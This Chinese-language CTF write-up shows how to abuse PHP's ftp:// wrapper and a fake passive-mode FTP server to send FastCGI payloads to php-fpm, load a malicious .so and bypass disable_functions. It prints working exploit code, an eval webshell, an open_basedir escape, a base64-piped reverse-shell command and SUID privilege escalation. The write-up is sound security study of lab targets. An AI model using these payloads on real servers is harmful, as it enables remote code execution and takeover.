深入 FTP 攻擊 php-fpm 繞過 disable_functions
前言
本文通過多個 poc ,結合ftp協議底層和php源碼,分析了在 php 中利用 ftp 偽協議攻擊 php-fpm ,從而繞過 disable_functions 的攻擊方法,并在文末復現了 [藍帽杯 2021]One Pointer PHP 和 [WMCTF2021] Make PHP Great Again And Again。
poc:惡意.so作為php擴展
php.ini 配置:
;/etc/php/7.4/cli/php.inis[PHP]extension=/home/inhann/ant/evil.so;;;;;;;;;;;;;;;;;;;; About php.ini ;;;;;;;;;;;;;;;;;;;;; PHP's initialization file, generally called php.ini, is responsible for; configuring many of the aspects of PHP's behavior.
惡意 c 文件:
// /home/inhann/ant/evil.c#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void){ system("touch /tmp/pwned");}
編譯成 .so:
gcc evil.c -o evil.so --shared -fPIC# 得到 /home/inhann/ant/evil.so
觸發 惡意 so:
inhann@ubuntu:~$ php -aPHP Warning: PHP Startup: Invalid library (maybe not a PHP library) '/home/inhann/ant/evil.so' in Unknown on line 0Interactive mode enabled php >
成功觸發:

poc:直接打開php-fpm
poc: 直接打 php-fpm ,更改環境變量 PHP_ADMIN_VALUE,加載惡意 .so
把 php-fpm 改成 tcp 監聽:
; /etc/php/7.4/fpm/pool.d/www.conf; Start a new pool named 'www'.; the variable $pool can be used in any directive and will be replaced by the; pool name ('www' here)[www]
; Per pool prefix; ............listen = 127.0.0.1 9000; ............
nginx 配置 fastcgi:
# /etc/nginx/sites-available/default# ............server { # ............ location ~ \.php$ { include snippets/fastcgi-php.conf; include fastcgi.conf; #fastcgi_pass unix:/run/php/php7.4-fpm.sock; fastcgi_pass 127.0.0.1:9000; } # ............}# ............
依然使用 /home/inhann/ant/evil.c 和 /home/inhann/ant/evil.so
如何攻擊 php-fpm ,在此不贅述,可以 直接 參考 p 神的文章: Fastcgi協議分析 && PHP-FPM未授權訪問漏洞 && Exp編寫。簡單來說就是直接和 php-fpm 進行 tcp 上的交互,向php-fpm 發送惡意 tcp payload
改一下 p 神的腳本
直接改 extension 這個參數(也可以改 extension_dir 和 extension 兩個參數):
# https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75# ............if __name__ == '__main__':# ............ params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0',# ............ 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On\nextension = /home/inhann/ant/evil.so' } response = client.request(params, content) print(force_text(response))
觸發 惡意 .so
inhann@ubuntu:~/ant$ python3 fpm.py -p 9000 -c '<?php phpinfo();?>' 127.0.0.1 _PHP message: PHP Warning: Unknown: Invalid library (maybe not a PHP library) '/home/inhann/ant/evil.so' in Unknown on line 0Primary script unknownStatus: 404 Not FoundContent-type: text/html; charset=UTF-8 File not found.
成功:

注意到:如果只是加載 惡意 .so ,不需要提供系統上存在 的 .php 的確切位置,甚至不需要有 .php 文件的存在(這里用 _ 占位)
poc:ftp使用PASVmode
poc: ftp 使用 PASV mode 時,轉發 FTP-DATA
10.0.1.4 中:
配置 vsftpd
inhann@ubuntu:/etc$ cat vsftpd.conf | grep -v '^#'listen=NOlisten_ipv6=YESanonymous_enable=YESlocal_enable=YESwrite_enable=YESdirmessage_enable=YESuse_localtime=YESxferlog_enable=YESconnect_from_port_20=YESchroot_local_user=YESallow_writeable_chroot=YESsecure_chroot_dir=/var/run/vsftpd/emptypam_service_name=vsftpdrsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pemrsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.keyssl_enable=NO
用于測試的 用戶
username : testpasswd : hellohome : /home/test/
/home/test 下面有個 flag.txt
審一下通過命令終端, passive mode 打出的流量:
┌──(inhann?kali)-[~]└─$ ftp 10.0.1.4Connected to 10.0.1.4.220 (vsFTPd 3.0.3)Name (10.0.1.4:inhann): test331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> passivePassive mode on.ftp> put up.txtlocal: up.txt remote: up.txt227 Entering Passive Mode (10,0,1,4,56,2).150 Ok to send data.226 Transfer complete.15 bytes sent in 0.00 secs (52.8824 kB/s)ftp> quit221 Goodbye. inhann@ubuntu:~$ sudo tcpdump -i enp0s8 -w b.pcapngtcpdump: listening on enp0s8, link-type EN10MB (Ethernet), capture size 262144 bytes^C41 packets captured41 packets received by filter0 packets dropped by kernelinhann@ubuntu:~$
看控制連接的 TCP 流:

220 (vsFTPd 3.0.3)USER test331 Please specify the password.PASS hello230 Login successful.SYST215 UNIX Type: L8TYPE I200 Switching to Binary mode.PASV227 Entering Passive Mode (10,0,1,4,56,2).STOR up.txt150 Ok to send data.226 Transfer complete.QUIT221 Goodbye.
(10,0,1,4,56,2). 表示 FTP-DATA 打向的位置,ip 是 10.0.1.4 ,端口是 56*256 + 2 == 14338 ,改變這括號中的內容,就可以使 FTP-DATA 打向任意位置
看看文件內容上傳時候的上下文報文:

可見在 150 Ok to send data. 之后,有效報文,即上傳的文件內容,才被打出去,而且文件數據 會被放在一個包中(wireshark 中,稱之為 FTP-DATA),完整地被上傳或下載
接下來模擬 ftp-server ,在響應 PASV 命令時,返回 (127,0,0,1,0,12345),打向 內網的 127.0.0.1:12345:
kali 10.0.1.8 中起惡意服務:
# 10.0.1.8import socketprint("[+] listening ...........")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 9999))s.listen(1)conn, addr = s.accept()conn.send(b'220 (vsFTPd 3.0.3)\r\n')conn.recv(0xff)conn.send(b'331 Please specify the password.\r\n')conn.recv(0xff)conn.send(b'230 Login successful.\r\n')conn.recv(0xff)conn.send(b"215 UNIX Type: L8\r\n")conn.recv(0xff)conn.send(b'200 Switching to Binary mode.\r\n')conn.recv(0xff)conn.send(b'227 Entering Passive Mode (127,0,0,1,0,12345).\r\n')conn.recv(0xff)conn.send(b'150 Ok to send data.\r\n')# sending payload .....conn.send(b'226 Transfer complete.\r\n')conn.recv(0xff)conn.send(b'221 Goodbye.\r\n')conn.close()print("[+] completed ~~")

ubuntu 10.0.1.4 中,監聽 12345 端口,并用終端訪問 10.0.1.8 的惡意服務:

成功轉發 文件內容
poc:誘導php使用ftp://
poc: 誘導 php 使用 ftp:// 時發出 PASV 命令
10.0.1.8 中:
配置 php.ini
# /etc/php/7.4/cli/php.ini# ............allow_url_fopen = On# ............
測試 ftp 讀:
// /home/inhann/kali/ftpread.php<?php@var_dump(file_get_contents($argv[1]));
成功:
┌──(inhann?kali)-[~/kali]└─$ php ftpread.php 'ftp://test:hello@10.0.1.4/flag.txt'string(24) "flag{testtestfpt_+++++}
測試 ftp 寫 (vsftpd 默認 不讓寫,要配置 write_enable=YES):
https://www.php.net/manual/zh/wrappers.ftp.php
當遠程文件已經存在于 ftp 服務器上,如果嘗試打開并寫入文件的時候, 未指定上下文(context)選項 overwrite,連接會失敗
file_put_contents(
string $filename,
mixed $data,
int $flags = 0,
resource $context = ?
): int
寫新文件:
// /home/inhann/kali/ftpwrite.php<?php@var_dump(file_put_contents($argv[1],$argv[2]));
成功:


覆蓋已存在文件:
// /home/inhann/kali/ftpwrite.php<?php$context = stream_context_create(array('ftp' => array('overwrite' => true)));@var_dump(file_put_contents($argv[1],$argv[2],0,$context));
成功:
┌──(inhann?kali)-[~/kali]└─$ php ftpwrite.php 'ftp://test:hello@10.0.1.4/test.txt' 'neewwwneeeww'int(12)

審流量
- 首先審一下 php 通過 ftp:// 打出的流量:
┌──(inhann?kali)-[~/kali]└─$ php ftpwrite.php 'ftp://test:hello@10.0.1.4/test.txt' 'neewwwneeeww'int(12) inhann@ubuntu:~$ sudo tcpdump -i enp0s8 -w b.pcapngtcpdump: listening on enp0s8, link-type EN10MB (Ethernet), capture size 262144 bytes^C42 packets captured42 packets received by filter0 packets dropped by kernelinhann@ubuntu:~$ ls /home/test/flag.txt test.txt
看控制連接的 TCP 流:

220 (vsFTPd 3.0.3)USER test331 Please specify the password.PASS hello230 Login successful.TYPE I200 Switching to Binary mode.SIZE /test.txt550 Could not get file size.EPSV229 Entering Extended Passive Mode (|||22575|)STOR /test.txt150 Ok to send data.226 Transfer complete.QUIT221 Goodbye.
可以看到php 的 ftp://使用的是 EPSV mode
去看看 EPSV mode 的官方文檔:
https://datatracker.ietf.org/doc/html/rfc2428
The EPSV command takes an optional argumentThe format of the response, however, is similar to the argument of the EPRT command. This allows the same parsing routines to be used for both commands. The response to this command includes only the TCP port number of the listening connection. When the EPSV command is issued with no argument, the server will choose the network protocol for the data connection based on the protocol used for the control connection
可見,EPSV 的響應,唯一的有效信息只有 TCP port ,而沒有 host
嘗試了一下偽造 229 Entering Extended Passive Mode (|1|<ip>|12345|) 這樣的響應,但是 無論 ip 是什么,ftp-data 都只會被打向 控制連接中的服務端,,即如果惡意服務 的 ip 是 10.0.1.4 則無論如何,FTP-DATA 只會被發往 10.0.1.4:12345
因而得出結論:使用 EPSV mode 不能進行 FTP-DATA 的任意轉發
那 php 中使用 ftp:// 難道就真的不能 FTP-DATA 轉發了嗎?
閱讀 php 源碼 加 查閱資料可知,php 中ftp:// 首先使用 EPSV mode ,但是也有機會使用 PASV mode(這是寫在源碼中的,和 php.ini 無關):
// ext/standard/ftp_fopen_wrapper.c//............/* {{{ php_fopen_do_pasv */static unsigned short php_fopen_do_pasv(php_stream *stream, char *ip, size_t ip_size, char **phoststart){// ............
#ifdef HAVE_IPV6 /* We try EPSV first, needed for IPv6 and works on some IPv4 servers */ php_stream_write_string(stream, "EPSV\r\n"); result = GET_FTP_RESULT(stream);
/* check if we got a 229 response */ if (result != 229) {#endif /* EPSV failed, let's try PASV */ php_stream_write_string(stream, "PASV\r\n"); result = GET_FTP_RESULT(stream);
/* make sure we got a 227 response */ if (result != 227) { return 0; } // ........... } // ............}/* }}} */
// main/php_config.h/* Whether to enable IPv6 support */#define HAVE_IPV6 1
注意到,如果使用 EPSV 命令,但是返回結果不是 229,那么 php 的 ftp:// 就會采用 PASV 命令
介于此,我們更改一下 惡意 ftp-server :
# 10.0.1.8import socketprint("[+] listening ...........")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 9999))s.listen(1)conn, addr = s.accept()conn.send(b'220 (vsFTPd 3.0.3)\r\n')print(conn.recv(0xff))conn.send(b'331 Please specify the password.\r\n')print(conn.recv(0xff))conn.send(b'230 Login successful.\r\n')print(conn.recv(0xff))conn.send(b'200 Switching to Binary mode.\r\n')print(conn.recv(0xff))conn.send(b"550 Could not get file size.\r\n")print(conn.recv(0xff))# responese with 000 , not 229conn.send(b'000 use PASV then\r\n')# then php will send PASV commandprint(conn.recv(0xff))# response to PASV commandconn.send(b'227 Entering Passive Mode (127,0,0,1,0,12345).\r\n')print(conn.recv(0xff))conn.send(b'150 Ok to send data.\r\n')# sending payload .....conn.send(b'226 Transfer complete.\r\n')print(conn.recv(0xff))conn.send(b'221 Goodbye.\r\n')conn.close()print("[+] completed ~~")
在遇到 EPSV 命令的時候,返回 一個 非 229 的響應,這里隨便取了個 000
實驗:
kali 10.0.1.8:

ubuntu 10.0.1.4:

成功轉發 php 中 ftp:// 的 FTP-DATA
FTP攻擊php-fpm繞過
FTP 攻擊 php-fpm 繞過 disable_functions
本文標題中所述的攻擊方法,根據上面幾個 poc 也就可以自然而然地推導出來了。
主要步驟如下:
- 寫 .so
- 構造 打 php-fpm 的 tcp payload
- file_put_contents 使用 ftp:// 將 payload 打向 php-fp
[藍帽杯2021]
[藍帽杯 2021]One Pointer PHP
看PHP與 array 相關的源碼:
https://www.hoohack.me/2016/02/15/understanding-phps-internal-array-implementation-ch
//zend_types.hstruct _zend_array { zend_refcounted_h gc; union { struct { ZEND_ENDIAN_LOHI_4( zend_uchar flags, zend_uchar _unused, zend_uchar nIteratorsCount, zend_uchar _unused2) } v; uint32_t flags; } u; uint32_t nTableMask; Bucket *arData; uint32_t nNumUsed; uint32_t nNumOfElements; uint32_t nTableSize; uint32_t nInternalPointer; zend_long nNextFreeElement; dtor_func_t pDestructor;};
nNextFreeElement 是下一個可以使用的 數字鍵值
//zend_long.htypedef int64_t zend_long;
是 8 byte 的有符號整型,求出最大值:
hex(eval("0b"+"1"*63))'0x7fffffffffffffff'
poc
<?php$a = array(0x7fffffffffffffff => "a");var_dump($a[] = 1);//NULL
因而 為了調用 eval($_GET["backdoor"]);,生成特殊的 序列:
<?phpclass User{ public $count;}$u = new User;$u->count = 0x7fffffffffffffff - 1;echo serialize($u);?>
成功 phpinfo

看 disable functions
這些危險函數可用:
iconv_strlencreate_functionassertcall_user_func_arraycall_user_funcimap_mailmb_send_mailfile_put_contents 看 open_basedir/var/www/html
看根目錄文件:
?backdoor=print_r(scandir('glob:///*'));
Array( [0] => bin [1] => boot [2] => dev [3] => etc [4] => flag [5] => home [6] => lib [7] => lib64 [8] => media [9] => mnt [10] => opt [11] => proc [12] => root [13] => run [14] => sbin [15] => srv [16] => sys [17] => tmp [18] => usr [19] => var)
可以確定 flag 在這里
有一個 easy_bypass 模塊

extension_dir
/usr/local/lib/php/extensions/no-debug-non-zts-20190902
?backdoor=print_r(get_extension_funcs('easy_bypass'));//easy_bypass_hide
為了繞過open_basedir,用久遠的 twitter 上的 payload:
?backdoor=mkdir('test');
?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");print_r(getcwd());
來到 根目錄
?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");print_r(substr(base_convert(fileperms("flag"),10,8),3));//700
?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");print_r(fileowner("flag"));//0
因而 flag 是 root 所有的,而且權限是 700,
也就是說只有稱為了 root 才能 讀這個 flag
看看 擴展目錄:
Array( [0] => . [1] => .. [2] => easy_bypass.so [3] => opcache.so [4] => sodium.so)
把 easy_bypass.so 拿下來
GET /add_api.php?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");readfile('/usr/local/lib/php/extensions/no-debug-non-zts-20190902/easy_bypass.so'); HTTP/1.1Host: e573cf21-9935-49be-8a0b-66348da8eae7.node4.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7DConnection: close
看了一下,發現不會pwn。。。
接著看 phpinfo 搜集信息
看是 nginx + fastcgi ,讀一下配置文件
# /etc/nginx/sites-available/defaultserver { listen 80 default_server; listen [::]:80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP index index.php index.html index.htm index.nginx-debian.html;
server_name _;
location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. try_files $uri $uri/ =404; }
# pass PHP scripts to FastCGI server # location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9001; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /var/www/html/$fastcgi_script_name; include fastcgi_params; }
}


用 ftp:// 打 php-fpm
寫一個 ftp.php
<?phpshow_source(__FILE__);@mkdir('test');chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");$context = stream_context_create(array('ftp' => array('overwrite' => true)));@var_dump(file_put_contents($_GET['url'],$_POST['payload'],0,$context));@eval($_REQUEST['code']);?>
base64encode 一下:
PD9waHAKc2hvd19zb3VyY2UoX19GSUxFX18pOwpAbWtkaXIoJ3Rlc3QnKTsKY2hkaXIoInRlc3QiKTtpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2luaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2Z0cCcgPT4gYXJyYXkoJ292ZXJ3cml0ZScgPT4gdHJ1ZSkpKTsKQHZhcl9kdW1wKGZpbGVfcHV0X2NvbnRlbnRzKCRfR0VUWyd1cmwnXSwkX1BPU1RbJ3BheWxvYWQnXSwwLCRjb250ZXh0KSk7CkBldmFsKCRfUkVRVUVTVFsnY29kZSddKTsKPz4=
傳上去
GET /add_api.php?backdoor=file_put_contents('ftp.php',base64_decode('PD9waHAKc2hvd19zb3VyY2UoX19GSUxFX18pOwpAbWtkaXIoJ3Rlc3QnKTsKY2hkaXIoInRlc3QiKTtpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2luaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2Z0cCcgPT4gYXJyYXkoJ292ZXJ3cml0ZScgPT4gdHJ1ZSkpKTsKQHZhcl9kdW1wKGZpbGVfcHV0X2NvbnRlbnRzKCRfR0VUWyd1cmwnXSwkX1BPU1RbJ3BheWxvYWQnXSwwLCRjb250ZXh0KSk7CkBldmFsKCRfUkVRVUVTVFsnY29kZSddKTsKPz4=')); HTTP/1.1
遠程開個 ftp 服務,試試看能不能出網:
POST /ftp.php?url=ftp://aa:passwd@inhann.top/test.txt HTTP/1.1............payload=hello
發現 遠程主機上確實多了一個 test.txt 文件,說明可以出網
抓一下 ftp 的包看一看

據此偽造 ftp-server ,向 127.0.0.1:9001 發送 payload
在 遠程服務器上跑:
import socketprint("[+] listening ...........")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 9999))s.listen(1)conn, addr = s.accept()conn.send(b'220 (vsFTPd 3.0.3)\r\n')print(conn.recv(0xff))conn.send(b'331 Please specify the password.\r\n')print(conn.recv(0xff))conn.send(b'230 Login successful.\r\n')print(conn.recv(0xff))conn.send(b'200 Switching to Binary mode.\r\n')print(conn.recv(0xff))conn.send(b"550 Could not get file size.\r\n")print(conn.recv(0xff))conn.send(b'000 use PASV then\r\n')print(conn.recv(0xff))conn.send(b'227 Entering Passive Mode (127,0,0,1,0,9001).\r\n')print(conn.recv(0xff))conn.send(b'150 Ok to send data.\r\n')# sending payload .....conn.send(b'226 Transfer complete.\r\n')print(conn.recv(0xff))conn.send(b'221 Goodbye.\r\n')conn.close()print("[+] completed ~~")
改一改 p 神的腳本,生成 payload:
# ............ def request(self, nameValuePairs={}, post=''): # if not self.__connect(): # print('connect failure! please check your fasctcgi-server !!') # return# ............ if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
# 魔改start from urllib.parse import quote print(quote(request)) exit(0) # 魔改end
self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b''# ............ 'CONTENT_LENGTH': "%d" % len(content), 'PHP_ADMIN_VALUE': 'extension = /var/www/html/evil.so',# ............
root@ubuntu:~# python3 ~/phith0n/fpm.py -p 9001 127.0.0.1 _%01%0133%00%08%00%00%00%01%00%00%00%00%00%00%01%0433%01%92%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%02SCRIPT_FILENAME/_%0B%01SCRIPT_NAME_%0C%00QUERY_STRING%0B%01REQUEST_URI_%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH25%0F8PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0Aextension%20%3D%20/var/www/html/evil.so%01%0433%00%00%00%00%01%0533%00%19%00%00%3C%3Fphp%20phpinfo%28%29%3B%20exit%3B%20%3F%3E%01%0533%00%00%00%00
寫個 惡意 .so ,上傳
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void){ system("touch /var/www/html/pwned");}
root@ubuntu:~/Scripts/php/ssrf/FPM-rce# gcc evil.c -o evil.so --shared -fPIC
from urllib.parse import quotec = quote(open("~/php/ssrf/FPM-rce/evil.so","rb").read())open("payload.txt","w").write(c)
POST /ftp.php?url=/var/www/html/evil.so HTTP/1.1
成功上傳

訪問惡意 server
成功執行 惡意 .so

改一下 evil.c ,去反彈shell
// /home/inhann/ant/evil.c#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void){ system("echo rjeaorm+JiAvZGV2RFARsgataL3RjcC80Nyafae1IDA+JjEK | base64 -d | bash");}
成功拿到 shell

開始提權:
上傳一個 搜集信息的腳本 LinEnum,運行,把結果寫到 r.txt 當中:

看到 /usr/local/bin/php 可以 suid 提權
www-data@3aa034712807:~/html$ php -r 'chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");readfile("/flag");'<.");ini_set("open_basedir","/");readfile("/flag");'flag{b68c5fa5-ca7b-4564-a7d3-6b663d238e00}
[WMCTF2021]
[WMCTF2021] Make PHP Great Again And Again
復現一下最近的 WMCTF
X-Powered-By PHP/8.0.9
phpinfo 不能用,會 500
用 get_cfg_var 獲取 config var
get_cfg_var(string $option): mixed
獲取 PHP 配置選項 option 的值。
此函數不會返回 PHP 編譯的配置信息,或從 Apache 配置文件讀取。
檢查系統是否使用了一個配置文件,并嘗試獲取 cfg_file_path 的配置設置的值。如果有效,將會使用一個配置文件。
看 disable_functions ,看看哪些函數能用:
iconv_strlencreate_functionassertcall_user_func_arraycall_user_funcimap_mailmb_send_mailfile_put_contentsreadfilefile_get_contentsgetimagesizeunlinkstream_socket_server
看 open_basedir
/var/www/html/
看 allow_url_fopen 和 allow_url_include
allow_url_fopen => 1allow_url_include => 0 Server: nginx/1.21.0
掃內網 端口:
<?phpfor($i=0;$i<65535;$i++) { @$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2); if($ee2 === "Address already in use") { var_dump($i); }}
http://172.19.142.114:20001/?glzjin=for%28%24i%3D0%3B%24i%3C65535%3B%24i%2B%2B%29%20%7B%40%24t%3Dstream%5fsocket%5fserver%28%22tcp%3A%2F%2F0.0.0.0%3A%22.%24i%2C%24ee%2C%24ee2%29%3Bif%28%24ee2%20%3D%3D%3D%20%22Address%20already%20in%20use%22%29%20%7Bvar%5fdump%28%24i%29%3B%7D%7D
有兩個端口始終開放
int(80) int(11451)
11451 就是 php-fpm 開的端口
/?glzjin=print_r(fileowner("."));
返回 0 ,所以 /var/www/html 是 root 所有的,通過 fileperms 函數,得知 這個目錄的 權限為 drwxr-xr-x
不能寫文件
嘗試了一下 連接遠程 ftp-server,發現不能出網
可以用 stream_socket_server 偽造一個 ftp-server,然后 file_put_contents 用 ftp:// 打
ftp-server:
<?php$socket = stream_socket_server("tcp://0.0.0.0:9999", $errno, $errstr);if (!$socket) { echo "$errstr ($errno)<br />\n";} else { print_r("[+] listening .......\n"); while ($conn = stream_socket_accept($socket)) { print_r("[+] catch .......\n"); fwrite($conn, "220 (vsFTPd 3.0.3)\r\n"); echo fgets($conn); fwrite($conn, "331 Please specify the password.\r\n"); echo fgets($conn); fwrite($conn, "230 Login successful.\r\n"); echo fgets($conn); fwrite($conn, "200 Switching to Binary mode.\r\n"); echo fgets($conn); fwrite($conn, "550 Could not get file size.\r\n"); echo fgets($conn); fwrite($conn, "000 use PASV then\r\n"); echo fgets($conn); fwrite($conn, "227 Entering Passive Mode (127,0,0,1,0,11451).\r\n"); echo fgets($conn); fwrite($conn, "150 Ok to send data.\r\n"); // sending payload ...... fwrite($conn, "226 Transfer complete.\r\n"); echo fgets($conn); fwrite($conn, "221 Goodbye.\r\n"); fclose($conn); print_r("[+] completed ~~\n"); } fclose($socket);}?>
本地實驗成功:


先在靶機上把這個 ftp-server 跑起來
端口 掃了一下 9999 確實開著
接下來生成 打 php-fpm 的 payload
魔改一下 p 神的腳本,先修改一下 open_basedir,和 extension ,然后上傳一個 惡意 擴展 .so:
'PHP_ADMIN_VALUE': 'allow_url_include = On\nopen_basedir = /\nextension = /tmp/evil.so' root@ubuntu:~$ python -u "/Scripts/fpm_code.py" 127.0.0.1 '/var/www/html/index.php' %01%01%B7%DE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B7%DE%02%05%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9998%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH25%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0F%40PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0Aopen_basedir%20%3D%20/%0Aextension%20%3D%20/tmp/evil.so%01%04%B7%DE%00%00%00%00%01%05%B7%DE%00%19%00%00%3C%3Fphp%20phpinfo%28%29%3B%20exit%3B%20%3F%3E%01%05%B7%DE%00%00%00%00
注意,一次 open_basedir = /和 extension = /tmp/evil.so ,便是全局的配置
寫個提權用的腳本,可能有用:

寫惡意 .so
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void){ system("ls / -la > /tmp/r.txt"); system("chmod 777 /tmp/linenum.sh"); system("/tmp/linenum.sh > /tmp/r2.txt");}// gcc evil.c -o evil.so --shared -fPIC

因為設置 open_basedir 的時候已經設置過 extension,所以直接普通訪問 就可以觸發:

很顯然要提權,讀一讀提權信息搜集腳本跑后得到的結果:

SUID 提權,直接用 cat 就能讀 flag
改一改 惡意 擴展 .so ,加個 cat /flag > /tmp/r3.txt,最終得到 flag

